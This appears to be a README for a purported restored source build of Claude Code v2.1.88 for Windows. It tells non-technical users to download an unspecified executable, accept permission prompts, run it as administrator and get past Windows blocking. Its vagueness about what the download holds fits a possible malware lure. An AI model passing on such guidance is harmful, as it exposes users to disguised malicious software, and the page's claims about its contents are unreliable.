🤖 claude-code-source - Run Claude Code on Windows

🚀 What this is

claude-code-source is a restored source version of Claude Code v2.1.88. It is a terminal app built with TypeScript, React, and Ink. It gives you a text-based AI assistant that runs in a command window on Windows.

Use it if you want to:

• open an AI assistant in your terminal
• work with text in a simple command-line window
• run a local desktop-style interface with a terminal feel
• explore a recovered source build of Claude Code

💻 What you need

Before you start, make sure your PC has:

• Windows 10 or Windows 11
• 2 GB of free disk space
• 4 GB of RAM or more
• a stable internet connection
• access to Windows Terminal, PowerShell, or Command Prompt

For the best result, use a current Windows system with standard user access.

📥 Download

Visit this page to download and run the app:

Download claude-code-source

If the page opens a source or project page, look for the latest Windows build, release file, or setup file. If the repo includes a package or executable, download that file to your computer.

🪟 Install on Windows

Follow these steps on a Windows PC:

1. Open the download link in your browser.
2. Save the file to a folder you can find again, such as Downloads or Desktop.
3. If the file is a ZIP archive, right-click it and choose Extract All.
4. Open the extracted folder.
5. Look for a file named claude-code-source.exe, setup.exe, or a similar Windows app file.
6. Double-click the file to start the app.
7. If Windows asks for permission, choose Yes.
8. If the app opens in a terminal window, wait for it to finish loading.

If you see a folder with scripts instead of an app file, open PowerShell in that folder and run the start file included in the project.

🧭 First run

When you launch the app for the first time, it may:

• ask for account or login details
• open in a terminal window
• show a text-based screen with input prompts
• take a short time to load the interface

Type your request in the prompt and press Enter. The app will respond in the same window.

⚙️ How to use it

You can use claude-code-source for tasks like:

• asking questions in plain text
• drafting notes and messages
• getting help with code-related text
• reviewing small pieces of content
• working inside a terminal-based interface

Basic use:

1. Start the app.
2. Type your message.
3. Press Enter.
4. Read the response.
5. Type another message if needed.

If the interface shows a command prompt, treat it like a chat window. You do not need programming knowledge to type a request.

🧩 Common files you may see

The download may include files such as:

• README.md — project instructions
• package.json — app setup file
• src — source files
• dist — built app files
• .exe — Windows app file
• .zip — compressed download file

If you see a dist folder, it often means the app is ready to run. If you see only source files, follow the project setup steps in the repository.

🔧 If the app does not start

If nothing happens when you open the app:

1. Right-click the file and try Run as administrator.
2. Check that Windows did not block the file.
3. Make sure the file finished downloading.
4. Move the folder to a simple path like C:\Apps\claude-code-source.
5. Open the app again from that folder.
6. Restart your PC and try once more.

If a terminal window opens and closes fast, start it from PowerShell so you can see the message on screen.

🛠️ Simple usage tips

• Keep the terminal window open while you use the app.
• Use short prompts if you want fast replies.
• Copy text from the window if you need to save it.
• Resize the terminal window if the layout feels tight.
• Use a clear folder path if you run the app from files on your PC.

📌 Project details

• Name: claude-code-source
• Version base: Claude Code v2.1.88
• Type: terminal AI assistant
• Stack: TypeScript, React, Ink
• Topic area: AI assistant, CLI, terminal, source map recovery

🧪 Expected behavior

When the app works as intended, you should see:

• a terminal-based user interface
• text input for prompts
• AI responses in the same window
• a workflow that feels close to a chat session in the terminal
• fast access without a full desktop window

📁 Folder layout

A typical project layout may look like this:

• src/ for app source code
• components/ for interface parts
• assets/ for files used by the app
• dist/ for built output
• node_modules/ for installed packages
• README.md for project notes

⌨️ Short setup path

If the project uses a Node-based setup, the usual flow is:

1. Open the project folder.
2. Install the needed packages.
3. Start the app from the terminal.
4. Use the prompt inside the window.

If the repository includes a ready-to-run Windows file, use that file first.

📎 Link

Open claude-code-source

🗂️ Topics

ai, ai-assistant, anthropic, claude, claude-code, cli, ink, llm, react, reverse-engineering, source-map, terminal, typescript